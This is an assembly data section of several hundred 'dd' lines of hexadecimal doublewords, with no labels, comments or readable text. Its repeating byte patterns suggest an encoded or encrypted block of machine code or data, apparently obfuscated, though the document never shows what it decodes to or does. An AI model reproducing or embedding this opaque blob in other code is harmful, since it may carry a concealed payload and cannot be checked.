		dd 0AC65E757h, 594849D8h, 96F757A6h, 9C6DE757h,	0D54849D8h
		dd 5752681Ch, 64F990F7h, 0DB4849DAh, 5D5B6C98h,	4849D9F8h
		dd 0D190F757h, 0D1905988h, 0A7A5FCDDh, 684DD3A7h, 614858A8h
		dd 4FDF5788h, 71585859h, 0D88CF99Ah, 98DB4849h,	55E75750h
		dd 4849D9B0h, 9A619059h, 58A4DB57h, 0E4F95858h,	5D4849D9h
		dd 585858C6h, 2C741D61h, 0A758324Ah, 4EB0502Dh,	0DB58583Dh
		dd 83B1509Ch, 32585858h, 502DA759h, 583D5CB0h, 509CDB58h
		dd 585891B1h, 0B6E5D858h, 76A7A7A6h, 58E0DC57h,	0FE305858h
		dd 0B04849D6h, 0A7A795D4h, 0A6B6E5D5h, 0A70FA7A7h, 0D508502Dh
		dd 0A7A5E6E5h, 4DA70FA7h, 48550170h, 0A69AEDD5h, 0B4D9A7A7h
		dd 58585918h, 0C7E1BFD1h, 0AB585858h, 0E5D5FD3Eh, 0A7A7A5E6h
		dd 0A506B00Fh, 9CD9A7A7h, 58585900h, 0DDD534B3h, 0A7A7A69Ah
		dd 0E0EDA708h, 0A7A7A7A5h, 5957904Dh, 519BD148h, 0D80F2C83h
		dd 0A7A6B6E5h, 122C76A7h, 49D6C530h, 9546B048h,	0E5D5A7A7h
		dd 0A7A7A6B6h, 502DA70Fh, 0E6E5D508h, 0FA7A7A5h, 1704DA7h
		dd 0EDD54855h, 0A7A7A69Ah, 5918B4D9h, 0BFD15858h, 5858C7E1h
		dd 0FD3EAB58h, 0A5E6E5D5h, 0B00FA7A7h, 0A7A7A4A8h, 59009CD9h
		dd 83515858h, 607C82Dh,	0D9B9103h, 0B4DBBDD1h, 0F0E0B54h
		dd 49D928F9h, 5CB0DB48h, 0D3A01DD1h, 99D1541Dh,	18A790DBh
		dd 585964D8h, 9ED1A12Dh
		dd 0D5501DD3h, 0A790DB50h, 5964D818h, 0D1A12D58h, 0F4F9AC1Dh
		dd 0DB4849D9h, 1DD15AB0h, 0D315B3A4h, 49D96845h, 0E8F91348h
		dd 0D14849D8h, 24655B9Fh, 0DB4849D9h, 75B354B7h, 59A41DD3h
		dd 500DD3A0h, 5A5CE657h, 57540DD3h, 61624CE6h, 1B422D88h
		dd 482DAB61h, 0D3A01DA7h, 1D61481Dh, 0D35D2DA0h, 4DB3A41Dh
		dd 2AAF611Fh, 0A41DA797h, 61AC1DD3h, 0F32AA41Dh, 58A7A7E0h
		dd 3060758h, 0D10D9B91h, 0E0B09BDh, 5025D30Fh, 0DA0865DBh
		dd 2D584849h, 2808304Dh, 4DA74849h, 48595794h, 0DA085D9Fh
		dd 58594849h, 6DD35858h, 4849D974h, 0D9B86D5Bh,	0B6DB4849h
		dd 47EE575Eh, 5A0FEE57h, 998AEF57h, 8B5150BAh, 0D383EF57h
		dd 49D9984Dh, 0F7571A48h, 3E865982h, 57A42DD1h,	0D3A41DEFh
		dd 49D9A44Dh, 5D9ADB48h, 0D9684D5Bh, 88614849h,	58D8DC57h
		dd 8305858h, 0A7484928h, 4901044Dh, 0D96CF948h,	98DB4849h
		dd 1DD13E5Ch, 577AB3A6h, 59A61DEFh, 48E657A0h, 5C17E657h
		dd 48D09269h, 0A61DEF57h, 0D94C4DD3h, 591A4849h, 1DD13E88h
		dd 1DEF57A6h, 0DEF57A6h, 248861A4h, 0D94CF98Ah,	0D3104849h
		dd 49D9AC4Dh, 744D5B48h, 0DB4849DAh, 4CD048B2h,	5DE7575Fh
		dd 4849D91Ch, 0D35AB0DBh, 49D9204Dh, 51B2DB48h,	305F4CD0h
		dd 48492808h, 11184DA7h, 1FD54851h, 306075Eh, 0D10D9B91h
		dd 0D4B4D9BDh, 0B58585Ah, 25D30F0Eh, 6DE75750h,	4849D960h
		dd 0A44DE757h, 0D54849D8h, 8B534E14h, 6DE757B7h, 4849D89Ch
		dd 0D9B44DD3h, 2CD54849h, 0A9D15F4Eh, 0BB8BA3D1h, 0A6B4C5D1h
		dd 80D1A7A7h, 1560D93Eh, 0F9562C02h, 4849D90Ch,	58A7A05Dh
		dd 0B39B7158h, 0D8A8F9BBh, 98DB4849h, 4DE7576Bh, 4849D888h
		dd 82D18859h, 0CDD19A59h, 0A7A7A6ACh, 82D188D1h, 0CDD1485Bh
		dd 0A7A7A6B0h, 61501DD3h, 57402E9Ah, 0D9C05DE7h, 4DD34849h
		dd 4849D9C4h, 0A348DCD5h, 715858A7h, 0D3C5B39Bh, 0A7A6B0DDh
		dd 0BCDDD1A7h, 57A7A7A6h, 86558EFh, 2C58581Dh, 0DA4CF949h
		dd 0A55D4849h, 715858A7h, 0A72EB19Bh, 0DDD3A7A7h, 0A7A7A6BCh
		dd 0D12018D3h, 0A7A6B8DDh, 5981D1A7h, 0A8D5D199h, 0D1A7A7A6h
		dd 5B82D190h, 0D50A5408h, 0A7A6A5DDh, 7AB008A7h, 0F958582Dh
		dd 4849D9A0h, 0D15BB0DBh, 7AB3A41Dh, 0D2A41DD3h, 0A6A55DDCh
		dd 3964A7A7h, 22644926h, 1DD35525h, 5DDCD5A4h, 0A7A7A6A5h
		dd 0A77870D8h, 1DD3A41Dh, 0DCE657A4h, 0A7A6A55Dh, 504DD3A7h
		dd 574849D9h, 0D89455E7h, 92594849h, 6151B2DBh,	0D8E52D88h
		dd 0A7A6A7E5h, 692C0AA7h, 0A75BE5D8h, 2C6BA7A7h, 0A6E5D870h
		dd 1DA7A7A6h, 0E5D8472Ch, 0A7A7A75Ah, 0D84E2C14h, 0A7A6A5E5h
		dd 552C13A7h, 0A75CE5D8h, 576AA7A7h, 585A7BDDh,	0D900F958h
		dd 0B0DB4849h, 0A0DDD15Bh, 0B1A7A7A6h, 585859A3h, 0A6A0DDD3h
		dd 55D3A7A7h, 4849D930h, 0AF5A99DBh, 80DDD1B9h,	0D1A7A7A5h
		dd 0D39A5982h, 0A7A6A8DDh, 78085BA7h, 0A6ACCDD1h, 88D1A7A7h
		dd 485B82D1h, 0A584CDD1h, 0D50AA7A7h, 0A7A5B9DDh, 1AB008A7h
		dd 0F958582Ch, 4849D9B8h, 0B85DE4D8h, 8A7A7A5h,	59C7DD57h
		dd 38F95858h, 0D84849D9h, 0A5845DE4h, 572CA7A7h, 5859D4DDh
		dd 0DA14F958h, 9AD14849h, 0E4D89A59h, 0A7A58E4Dh, 0DD5719A7h
		dd 5858592Dh, 49D9C4F9h, 0E85D5B48h, 0D84849D8h, 0A5805DE4h
		dd 571FA7A7h, 585904DDh, 5DE75758h, 4849D8A4h, 0D9805D5Bh
		dd 0E4D84849h, 0A7A5B95Dh, 0DD573BA7h, 58585919h, 405DE757h
		dd 0D84849DAh, 0A5B35DE4h, 572AA7A7h, 585974DDh, 0A0DDD358h
		dd 0D3A7A7A6h, 49DA4C55h, 6DE75748h, 4849D8ECh,	0B1DBA959h
		dd 0D1B9AF5Eh, 0A7A520DDh, 5982D1A7h, 0A8DDD39Ah, 5BA7A7A6h
		dd 0CDD17C08h, 0A7A7A6B4h, 0D15AEF57h, 0A7A58CDDh, 7455D3A7h
		dd 0DB4849D9h, 0B9AF5CB1h, 0A52CDDD1h, 82D1A7A7h, 0DDD39A59h
		dd 0A7A7A6A8h, 0D144085Bh, 0A7A6ACCDh, 0D188D1A7h, 0D1485B82h
		dd 0A7A588CDh, 0E3E5D5A7h, 0D5A7A7A5h, 49DB546Dh, 584DE148h
		dd 0FCAB5858h, 0A5F6E5D5h, 6DD5A7A7h, 4849DB79h, 585855E1h
		dd 0D1FCAB58h, 49DA0C45h, 88DDD348h, 0FBA7A7A5h, 485979F4h
		dd 0A5C1E5D5h, 6DD5A7A7h, 4849DB76h, 58584DE1h,	0D5FCAB58h
		dd 0A7A527E5h, 1B6DD5A7h, 0E14849DBh, 58585855h, 0D5FD3EABh
		dd 0A7A5E3DDh, 6DA708A7h, 4849DA0Ch, 79F44DA7h,	18FB4859h
		dd 0D5485111h, 0A7A527DDh, 6DA708A7h, 4849DA0Ch, 79F44DA7h
		dd 94FB4859h, 0D5485957h, 0A7A5F6DDh, 6DA708A7h, 4849DA0Ch
		dd 79F44DA7h, 78FB4859h, 0D5484937h, 0A7A5C1DDh, 6DA708A7h
		dd 4849DA0Ch, 79F44DA7h, 4FB4859h, 0B3484901h, 0A0DDA743h
		dd 0D3A7A7A6h, 0A7A6A8DDh, 4018D3A7h, 0A6A0DD61h, 0DA57A7A7h
		dd 0A7A7A5A8h, 91030607h, 0BDD10D9Bh, 5B5860E0h, 2A1BB058h
		dd 0E0B5858h, 0B0DDD50Fh, 8A7A5A7h, 49D914F9h, 485D5B48h
		dd 0DB4849D9h, 0D50853B0h, 0D508441Dh, 0F908541Dh, 4849D944h
		dd 85AB0DBh, 8501DD3h, 0BA740D3h, 0F99FD10Ch, 4849D984h
		dd 0D98C5D5Bh, 0B0DB4849h, 579F6150h, 585BE1DDh, 0D8E0F958h
		dd 5D5B4849h, 4849D9A4h, 85CB0DBh, 0A784DDD5h, 5708A7A5h
		dd 0D9A85DE7h, 0B0DB4849h, 0DDD3085Dh, 0A7A5A7B0h, 0A740D308h
		dd 9FD1540Bh, 505DE757h, 574849DAh, 0D89C4DE7h,	88594849h
		dd 615FB0DBh, 0BDD579Fh, 0D358585Bh, 49D9486Dh,	51B6DB48h
		dd 585ADDD5h, 0A708A7A6h, 0A5A784EDh, 8F85B0A7h, 9CDBA7A7h
		dd 0A4FDDB50h, 58A7A5A7h, 49DA14F9h, 385D5B48h,	0DB4849D9h
		dd 0DDD148B0h, 0A7A5A780h, 0A7B4DD9Fh, 5848A7A5h, 0E7575858h
		dd 49D8945Dh, 2C5D5B48h, 0DB4849D9h, 0DDD150B0h, 0A7A5A7A0h
		dd 0F05DE757h, 0D14849D9h, 0A5A7ACDDh, 0A8DD9FA7h, 5AA7A5A7h
		dd 0F9585858h, 4849D898h, 0DA645D5Bh, 0B0DB4849h, 0DDD5085Ah
		dd 0A7A5A7B4h, 0A4DDD508h, 8A7A5A7h, 0A780DDD5h, 0A708A7A5h
		dd 0A5A784EDh, 441DD5A7h, 541DD508h, 0D890F908h, 5D5B4849h
		dd 4849D908h, 85DB0DBh,	8501DD3h, 0BA740D3h, 0F99FD11Ch
		dd 4849D880h, 944DE757h, 594849D8h, 5FB0DB88h, 0DD579F61h
		dd 58585947h, 9C5DE757h, 0D14849D9h, 0DC6D5B9Eh, 0DB4849D9h
		dd 0E5D853B6h, 0A7A6585Ah, 0D8512D1Ch, 0A6585BE5h, 5D2C08A7h
		dd 5858AEB1h, 5DE5D858h, 8A7A658h, 0E5D8512Dh, 0A7A6585Eh
		dd 0B15D2C11h, 58585887h, 0A7A4DDD3h, 0DDD1A7A5h, 0A7A5A78Ch
		dd 0A780DDD3h, 0DDD1A7A5h, 0A7A5A788h, 0A7B8DDD5h, 0F908A7A5h
		dd 4849D9ACh, 4D5B9AD1h, 4849D9DCh, 0A55B2DBh, 0D9144DD3h
		dd 0B2DB4849h, 4DD30A5Ah, 4849D954h, 88D19A59h,	853B0DBh
		dd 485DE757h, 5B4849DAh, 49D9A05Dh, 50B0DB48h, 0D8B4F908h
		dd 8104849h, 0A788DDD5h, 0A708A7A5h, 58A8704Dh,	94DDD148h
		dd 0D3A7A5A7h, 49D8BC55h, 0D0555B48h, 0DB4849D9h, 906152B1h
		dd 0E7574F2Dh, 49D8A45Dh, 4DE75748h, 4849D8C4h,	8E599ED1h
		dd 0B350B6DBh, 5DE7571Ah, 4849D95Ch, 6D5B9ED1h,	4849DA54h
		dd 0D55AB6DBh, 0A4A791DDh, 0EDA708A7h, 0A7A5A7BCh, 0A78E7AB0h
		dd 509CDBA7h, 405DE757h, 614849DAh, 0A5A7BCDDh,	0A7542CA7h
		dd 0A5A7BCEDh, 944DA7A7h, 0F948597Dh, 4849D88Ch, 0D9684DD3h
		dd 4D5B4849h, 4849D9F8h, 0D051B2DBh, 0A7A65DCCh, 0DC9EA7A6h
		dd 0A6A7A45Dh, 10F908A7h, 9E4849DAh, 0A7A65DDCh, 0A724A7A6h
		dd 0DDD5742Dh, 0A7A75859h, 744DA708h, 304858A8h, 4849D6C0h
		dd 0A79CEBB0h, 0C5D508A7h
		dd 0A7A75859h, 744DA70Bh, 304858A8h, 4849D623h,	0A79CC3B0h
		dd 1445D3A7h, 0DB4849DAh, 80B50B3h, 0B0742DA7h,	0A7A7AFEBh
		dd 577C9CDBh, 0D9A84DE7h, 9AD94849h, 5858A7A1h,	402C8861h
		dd 585ADDD5h, 0D508A7A6h, 0A75859DDh, 0DCB008A7h, 0DB585849h
		dd 77B3509Ch, 585ADDD5h, 0D508A7A6h, 0A75859DDh, 4DA708A7h
		dd 4858A874h, 49D62E30h, 9C66B048h, 0D508A7A7h,	0A75859C5h
		dd 4DA70BA7h, 4858A874h, 0F94C9CDBh, 4849D988h,	0D9AC5D5Bh
		dd 0B0DB4849h, 2D9E6157h, 0A4DDD356h, 0D1A7A5A7h, 0A5A790DDh
		dd 0D554B3A7h, 0A4A791DDh, 90DDD1A7h, 0A7A7A5A7h, 0A5A790EDh
		dd 59DDD5A7h, 8A7A758h,	0A8744DA7h, 29304858h, 0B04849D6h
		dd 0A7A79BBCh, 59C5D508h, 0BA7A758h, 0A8744DA7h, 9CDB4858h
		dd 0DA74F94Ch, 5D5B4849h, 4849D8E8h, 6154B0DBh,	0A5A7A4DDh
		dd 0A7542CA7h, 0A5A7A4EDh, 0B44DA7A7h, 0D5485D69h, 0A75859DDh
		dd 4DA708A7h, 485D69B8h, 0A43BB101h, 0E757A7A7h, 49D8945Dh
		dd 0DD611048h, 0A7A5A7B0h, 0DDD3542Ch, 0A7A5A7B0h, 0A740D308h
		dd 607500Bh, 0D9B9103h,	0B4D9BDD1h, 58585A04h, 0D30F0E0Bh
		dd 25DB5005h, 412C5848h, 49D904F9h, 685D5B48h, 0DB4849D9h
		dd 0DDD15DB0h, 0A7A7A5E0h, 5858DEB1h, 540DD358h, 0A055E757h
		dd 0DB4849D8h, 54615DB1h, 597DB8CDh, 0E442D48h,	7DE44DA7h
		dd 0B4F94859h, 5B4849D9h, 49D96C5Dh, 5CB0DB48h,	384DA708h
		dd 0F9484901h, 4849D954h, 0D13A98DBh, 0A7A5E0DDh, 0D63130A7h
		dd 5DB04849h, 0A7A7A79Bh, 0D508542Dh, 0A7A5F2CDh, 4DA70AA7h
		dd 48550170h, 0D5489CDBh, 0A7A5F2DDh, 4DA708A7h, 4849013Ch
		dd 2D5BA0DBh, 0D880F94Eh, 7A5D4849h, 5B585859h,	49D9805Dh
		dd 0E0DDD148h, 69A7A7A5h, 81D11FA7h, 18A790DBh,	585964D8h
		dd 0DDD1A12Dh, 0A7A7A5ECh, 49D63A30h, 9AF2B048h, 9CDBA7A7h
		dd 0D5080B5Ch, 0A7A5E6CDh, 4DA70AA7h, 48550170h, 0D3549CDBh
		dd 0A7A5ECDDh, 4DE757A7h, 4849DA18h, 0D9444D5Bh, 0B2DB4849h
		dd 0D888715Dh, 57765B64h, 5858F3DDh, 0ECDDD358h, 0DBA7A7A5h
		dd 0E6575CB0h, 0A7085B5Ch, 58A8644Dh, 5C9CDB48h, 0CDD09AD1h
		dd 0A7A7A5F1h, 0A5ECDDD3h, 0B0DBA7A7h, 5CE6575Ah, 4DA7085Bh
		dd 4858A864h, 0D15C9CDBh, 0F0CDD09Ah, 0D3A7A7A5h, 0A7A5ECDDh
		dd 5BB0DBA7h, 5B5CE657h, 644DA708h, 0DB4858A8h,	9AD15C9Ch
		dd 0A5FFCDD0h, 0E5D8A7A7h, 0A7A7A5F1h, 0D8432D14h, 0A7A5FFE5h
		dd 4A2D16A7h, 0A5F0E5D8h, 2D13A7A7h, 0B7B00B51h, 0DBA7A79Ch
		dd 0E5D85C9Ch, 0A7A7A5F1h, 0D8792D1Dh, 0A7A5FFE5h, 402D00A7h
		dd 0A5F0E5D8h, 2D1DA7A7h, 0E0EDA757h, 0BA7A7A5h, 0A79AE2B0h
		dd 509CDBA7h, 0A69ADDD5h, 0D508A7A7h, 0A7A5E6DDh, 4DA708A7h
		dd 48516A70h, 0E7579ED1h, 49D9F05Dh, 545D5B48h,	0DB4849DAh
		dd 80AF5BB0h, 0DC579E61h, 585858EFh, 0A6B6E5D8h, 5776A7A7h
		dd 5858FEDCh, 0D6013058h, 0D9B04849h, 0D5A7A799h, 0A7A6B6CDh
		dd 80B0AA7h, 0A5E6CDD5h, 0A70AA7A7h, 5501704Dh,	482DA748h
		dd 0D5542DA7h, 0A7A5E6DDh, 84B008A7h, 0DBA7A7A5h, 37B3789Ch
		dd 0A69ADDD5h, 0E08A7A7h, 57904DA7h, 9FD14859h,	452DA751h
		dd 0A5E0DDD3h, 5D5BA7A7h, 48550174h, 7C4DA708h,	1485501h
		dd 0E44DA70Eh, 0B348597Dh, 0B6E5D81Ah, 76A7A7A6h, 8306D2Ch
		dd 0B04849D6h, 0A7A79948h, 0A6B6CDD5h, 0B0AA7A7h, 0E6CDD508h
		dd 0AA7A7A5h, 1704DA7h,	2DA74855h, 542DA748h, 0A5E6DDD5h
		dd 0B008A7A7h, 0A7A7A533h, 51789CDBh, 7D52DA7h,	9B910306h
		dd 0E0BDD10Dh, 5859586Ch, 5833D4B0h, 0F0E0B58h,	49DA78F9h
		dd 585D5B48h, 0DB4849D9h, 5D6153B0h, 4849DA9Ch,	0B4F94C2Dh
		dd 0DB4849D8h, 5D615198h, 48597D88h, 5A20DA57h,	0DDD55858h
		dd 0A7A6A7B8h, 104DA708h, 0D54858A8h, 0A6A788DDh, 0DDD508A7h
		dd 0A7A6A7B8h, 57513208h, 0D95C5DE7h, 5D5B4849h, 4849D9B4h
		dd 85BB0DBh, 0A7502DA7h, 516A7C4Dh, 0F99FD148h,	4849D988h
		dd 104DE757h, 594849D9h, 50B0DB88h, 0DD579F61h,	58585A7Eh
		dd 0A7B0EDD3h, 0ECF9A7A6h, 0DB4849D9h, 0DDD15CB0h, 0A7A6A7A0h
		dd 0A7A0DDD5h, 3008A7A6h, 4849C2F0h, 0A74ED30Eh, 58584D4Ch
		dd 9FD15858h, 49DA54F9h, 5CB0DB48h, 0DD579F61h,	585859B2h
		dd 0A784DDD5h, 0D308A7A6h, 0A6A7A0DDh, 48D308A7h, 0D1200AA7h
		dd 0D9E4F99Fh, 0E7574849h, 49D9C84Dh, 0DB885948h, 9F6156B0h
		dd 59EEDD57h, 0DDD55858h, 0A7A75859h, 84EDA708h, 0B0A7A6A7h
		dd 0A7A78883h, 0D1509CDBh, 0CDD11A9Ah, 0A7A6A794h, 0A784EDA7h
		dd 4DA7A7A6h, 4849376Ch, 5859E5D8h, 2D30A7A7h, 5AE5D843h
		dd 2CA7A758h, 0E5D84A2Dh, 0A7A7585Bh, 0D8512D2Ch, 0A7585CE5h
		dd 5D2C28A7h, 58593BB1h, 0A8DDD558h, 8A7A6A7h, 0A7A0DDD3h
		dd 0D308A7A6h, 100AA748h, 84F99FD1h, 5B4849D9h,	49DA6C5Dh
		dd 50B0DB48h, 0DD579F61h, 58585960h, 0A7A4DDD5h, 3008A7A6h
		dd 4849C270h, 0A7A8DDD3h, 0D308A7A6h, 4D4CA748h, 58585858h
		dd 0FCF99FD1h, 0DB4849D8h, 9F615FB0h, 58A6DD57h, 0DDD55858h
		dd 0A7A6A7ACh, 0A4DDD308h, 8A7A6A7h, 0CAA748D3h, 585859E8h
		dd 7CF99FD1h, 5B4849D9h, 49DA745Dh, 51B0DB48h, 0DD579F61h
		dd 5858589Ch, 0A780DDD5h, 0D308A7A6h, 0A6A7ACDDh, 48D308A7h
		dd 0D1280AA7h, 0D898F99Fh, 9AD14849h, 88D19A59h, 615CB0DBh
		dd 0D3492C9Fh, 0A6A7ACDDh, 58D308A7h, 0B15008A7h, 585858D4h
		dd 0DDD38369h, 0A7A6A780h, 0A7ACDD61h, 5B2CA7A6h, 0D31B8369h
		dd 0A6A7ACDDh, 58D308A7h, 0D35008A7h, 0A6A780DDh, 58D308A7h
		dd 515008A7h, 0D5052D83h, 0A6A78CDDh, 0DDD308A7h, 0A7A6A7A4h
		dd 0A748D308h, 9FD1780Ah, 49D974F9h, 4DE75748h,	4849D9C0h
		dd 0B0DB8859h, 2D9F6151h, 59DDD56Bh, 8A7A758h, 0A7A0EDA7h
		dd 0EDA7A7A6h, 0A7A6A78Ch, 0A7A4EDA7h, 6CB0A7A6h, 0A7585840h
		dd 0A6A78CEDh, 0A4EDA7A7h, 0EA7A6A7h, 583D99B0h, 449CDB58h
		dd 0A7A4DDD3h, 0D308A7A6h, 5008A758h, 0A7A8DDD3h, 0D308A7A6h
		dd 5008A758h, 0A75ED30Eh, 6075008h, 0D9B9103h, 0B4DBBDD1h
		dd 0F0E0B18h, 71AC4DA7h, 9BD1485Dh, 587D1AB0h, 2D985158h
		dd 6C65D356h, 0DB4849DAh, 53B15FB7h, 0B58585Ah,	645DE757h
		dd 0DB4849D9h, 300851B0h, 584757A7h, 37744DA7h,	9ED14849h
		dd 8A41DD5h, 0A70E7032h, 5978D84Dh, 0D39FD148h,	49D97C4Dh
		dd 0AC4D5B48h, 0D34849D9h, 49D89855h, 5AB1DB48h, 0C0CD14D1h
		dd 49D898F9h, 5AB0DB48h, 0DC579F61h, 585859E2h,	8981DD5h
		dd 1DD57032h, 0F8F9089Ch, 0DB4849D9h, 5D5B5298h, 4849D9B4h
		dd 0A42DA708h, 1544DA7h, 9FD14851h, 585025DBh, 58F9012Ch
		dd 0DB4849D9h, 9F6151B0h, 65D3562Dh, 4849D8F4h,	0B15EB7DBh
		dd 5858592Eh, 49D978F9h, 5B9FD148h, 49D9D865h, 5FB7DB48h
		dd 49DA4CF9h, 4DE75748h, 4849DA40h, 0B0DB8859h,	9C1D615Bh
		dd 5914DC57h, 64F95858h, 0D14849DAh, 84655B9Fh,	0DB4849D8h
		dd 6FB15CB7h, 0F9585859h, 4849D938h, 615FB0DBh,	49DAD45Dh
		dd 0F9402D48h, 4849D9F8h, 5867A05Dh, 18320858h,	71B44DA7h
		dd 0D4FB485Dh, 0D54849DAh, 5708981Dh, 0DA1C5DE7h, 4DD34849h
		dd 4849D958h, 0A848DCD5h, 8585867h, 0DAD46DA7h,	59324849h
		dd 0A7A42DA7h, 5101544Dh, 0DA58F948h, 5D5B4849h, 4849D9E8h
		dd 6154B0DBh, 49DAD05Dh, 32572D48h, 0A758324Ch,	5D71B44Dh
		dd 0DAD0FB48h, 59324849h
		dd 0DAD06DA7h, 4DA74849h, 48595850h, 58329FD1h,	49D930F9h
		dd 4DE75748h, 4849DA50h, 0B0DB8859h, 5932085Bh,	0DAD06DA7h
		dd 4DA74849h, 485D69BCh, 58329FD1h, 49DAD4F9h, 0A768A748h
		dd 49DAD06Dh, 0B04DA748h, 0D1485D71h, 0A81DD59Fh, 0D66F3008h
		dd 28F94849h, 0DB4849D9h, 0A7085CB0h, 58A8784Dh, 9F9FD148h
		dd 585AA01Dh, 0E8F95858h, 0DB4849D9h, 9F615FB0h, 0E757102Ch
		dd 49D9A85Dh, 4DE75748h, 4849D910h, 0B0DB8859h,	0B41DD15Eh
		dd 0EC5DE757h, 0DB4849D8h, 57085DB0h, 0D93C5DE7h, 5D5B4849h
		dd 4849D9A4h, 18F90810h, 104849D9h, 0B41DD508h,	0A7583208h
		dd 4DA7A42Dh, 48511044h, 0A70E9FD1h, 5111104Dh,	0A42DA748h
		dd 11104DA7h, 0A0D14851h, 91030607h, 0BDD10D9Bh, 59585CE0h
		dd 3ED3B058h, 0E0B5858h, 502DD30Fh, 6C1865D5h, 25D84851h
		dd 5E2D1B54h, 78F865D5h, 25D84859h, 5E2D0854h, 106865D5h
		dd 90F94851h, 104849D8h, 58D83008h, 5B325858h, 49D980F9h
		dd 4DE75748h, 4849D8CCh, 0B0DB8859h, 5B32085Eh,	58585830h
		dd 4DA70F98h, 48493340h, 0A7DB9FD1h, 9FDC57A7h,	32585858h
		dd 0D9D0F958h, 0B0DB4849h, 0F0E085Dh, 37684DA7h, 4CF94849h
		dd 5B4849DAh, 49D9245Dh, 52B0DB48h, 0A4DDD508h,	8A7A6A7h
		dd 58A7A730h, 59DDD558h, 8A7A758h, 6C4DA70Fh, 0D54858A8h
		dd 0A7585DD5h, 0A790DBA7h, 5964D818h, 0D3A12D58h, 49D90C4Dh
		dd 204D5B48h, 0DB4849D9h, 9BD154B2h, 0C5D18B59h, 0A7A6A7A4h
		dd 0E7575832h, 49D8A45Dh, 0D05D5B48h, 0DB4849D9h, 0E085FB0h
		dd 684DA70Fh, 0D3484937h, 49D9E46Dh, 906D5B48h,	0D34849D9h
		dd 0A6A7A4C5h, 0EDC4D1A7h, 0A7A6A791h, 49D904F9h, 5CB0DB48h
		dd 0A4DDD508h, 8A7A6A7h, 49D9A4F9h, 5C98DB48h, 59DDD508h
		dd 8A7A758h, 444DA70Fh,	0F484937h, 11104DA7h, 6074851h
		dd 0D9B9103h, 0B4D9BDD1h, 58585944h, 0D30F0E0Bh, 10D3501Dh
		dd 0A415D150h, 0D15C08D3h, 18D3A00Dh, 0A81DD154h, 0D3501DD3h
		dd 0AC1DD158h, 0A6BCE5D5h, 6DD5A7A7h, 4849DB38h, 585848E1h
		dd 0D5FDAB58h, 6DD5FC25h, 4849DBF8h, 585848E1h,	0D5FDAB58h
		dd 0A7A73CE5h, 0B86DD5A7h, 0E14849DBh, 58585848h, 0E5D5FDABh
		dd 0A7A7A77Ch, 0DC786DD5h, 48E14849h, 0AB585858h, 0D92CF9FDh
		dd 9BD14849h, 0B3DB9B59h, 5969B156h, 87D15858h,	0A75ABF99h
		dd 0A6BC65ECh, 65D3A7A7h, 4849D9D4h, 0F5E9FDBh,	0A75425D3h
		dd 2DA7C76Ch, 0A42DA7A8h, 0A7A02DA7h, 1CB0AC2Dh, 0DBA7A791h
		dd 1DD1449Ch, 0D9A0F9ACh, 61184849h, 0D1102C9Bh, 7C655B87h
		dd 0A74849DAh, 0A6BCE5ECh, 0E757A7A7h, 49D9C865h, 0E8655B48h
		dd 174849D8h, 0AC65D30Fh, 0DB4849D9h, 86D150B7h, 25D3A659h
		dd 0EF6CA754h, 0A7A42DA7h, 2DA7A02Dh, 0A82DA7ACh, 0A790AAB0h
		dd 449CDBA7h, 0D3A81DD1h, 49D93065h, 6DE75748h,	4849D910h
		dd 0D117AF59h, 0A7A65986h, 0A6BCEDECh, 0E757A7A7h, 49D88865h
		dd 539FDB48h, 65E7570Fh, 4849D994h, 0D15FB7DBh,	0D3A65986h
		dd 6CA75425h, 0A02DA7EFh, 0A7AC2DA7h, 2DA7A82Dh, 90F9B0A4h
		dd 1DD1A7A7h, 65E757A4h, 4849DA48h, 0D9A0655Bh,	0B7DB4849h
		dd 5986D15Dh, 0EDECA7A6h, 0A7A7A6BCh, 0D9E465D3h, 9FDB4849h
		dd 0E7570F48h, 49D9C065h, 5A9FDB48h, 0A65986D1h, 0A75425D3h
		dd 2DA7EF6Ch, 0A82DA7ACh, 0A02DA708h, 0A7900EB0h, 609CDBA7h
		dd 0F9A01DD1h, 4849D938h, 0D90C5D5Bh, 0B0DB4849h, 579B5953h
		dd 0D93C5DE7h, 98DB4849h, 579B6153h, 0A7A6E5DEh, 0D90CF9A7h
		dd 9BD14849h, 0D904455Bh, 0B3DB4849h, 0D958F953h, 0E7574849h
		dd 49D8A44Dh, 0DB885948h, 1DD153B0h, 59C1B1B4h,	25D35858h
		dd 0E52CA7B4h, 2065D3FCh, 0DB4849D9h, 0D30F5CB7h, 6CA75425h
		dd 0A82DA7C7h, 0A7A42DA7h, 2DA7A02Dh, 90DCB0ACh, 9CDBA7A7h
		dd 0AC1DD144h, 49DA14F9h, 5CB0DB48h, 5CF99B59h,	0DB4849DAh
		dd 9B615698h, 0ECF9522Ah, 0DB4849D9h, 9B715498h, 0D3B425D3h
		dd 49D8846Dh, 5BB6DB48h, 2CA7AF59h, 65D3FCE5h, 4849D92Ch
		dd 186DE757h, 594849DAh, 5EB7DBAFh, 5425D30Fh, 0A7C76CA7h
		dd 2DA7A42Dh, 0AC2DA7A0h, 0B0A82DA7h, 0A7A7907Ah, 0D1449CDBh
		dd 8CF9A81Dh, 5B4849D8h, 49D8BC5Dh, 5DB0DB48h, 0BCF99B59h
		dd 0DB4849D8h, 5D5B5C98h, 4849D92Ch, 522A9B61h,	49D9ECF9h
		dd 5498DB48h, 25D39B71h, 6DE757B4h, 4849DA48h, 0DA586D5Bh
		dd 0B6DB4849h, 0A7AF5950h, 0D3FCE52Ch, 49D9D465h, 519FDB48h
		dd 0D9BC655Bh, 0D30F4849h, 6CA75425h, 0A02DA7C7h, 0A7AC2DA7h
		dd 2DA7A82Dh, 9FE8B0A4h, 9CDBA7A7h, 0A41DD144h,	49D920F9h
		dd 5CB0DB48h, 60F99B59h, 0DB4849DAh, 9B614898h,	80F9522Ah
		dd 0DB4849D8h, 9B715298h, 0D3B425D3h, 49DA586Dh, 5AB6DB48h
		dd 2CA7AF59h, 0E757FCE5h, 49D89C65h, 569FDB48h,	5425D30Fh
		dd 0A7C76CA7h, 2DA7AC2Dh, 0A42DA7A8h, 0B0A02DA7h, 0A7A79F0Eh
		dd 0D1449CDBh, 58F9A01Dh, 0DB4849D9h, 9B595CB0h, 485DE757h
		dd 0D34849DAh, 49D9F84Dh, 481CD548h, 2A9B615Bh,	0D928F94Bh
		dd 98DB4849h, 4DE75750h, 4849D91Ch, 9B718859h, 49D9D4F9h
		dd 5B98DB48h, 0F9B41D59h, 4849DA7Ch, 615398DBh,	0DE57B41Dh
		dd 0A7A7A60Eh, 0D8E445D3h, 9BDB4849h, 5DE7575Dh, 4849D960h
		dd 0D15BB0DBh, 0C1B1B01Dh, 0D3585859h, 0ECA7B025h, 0A7A73CE5h
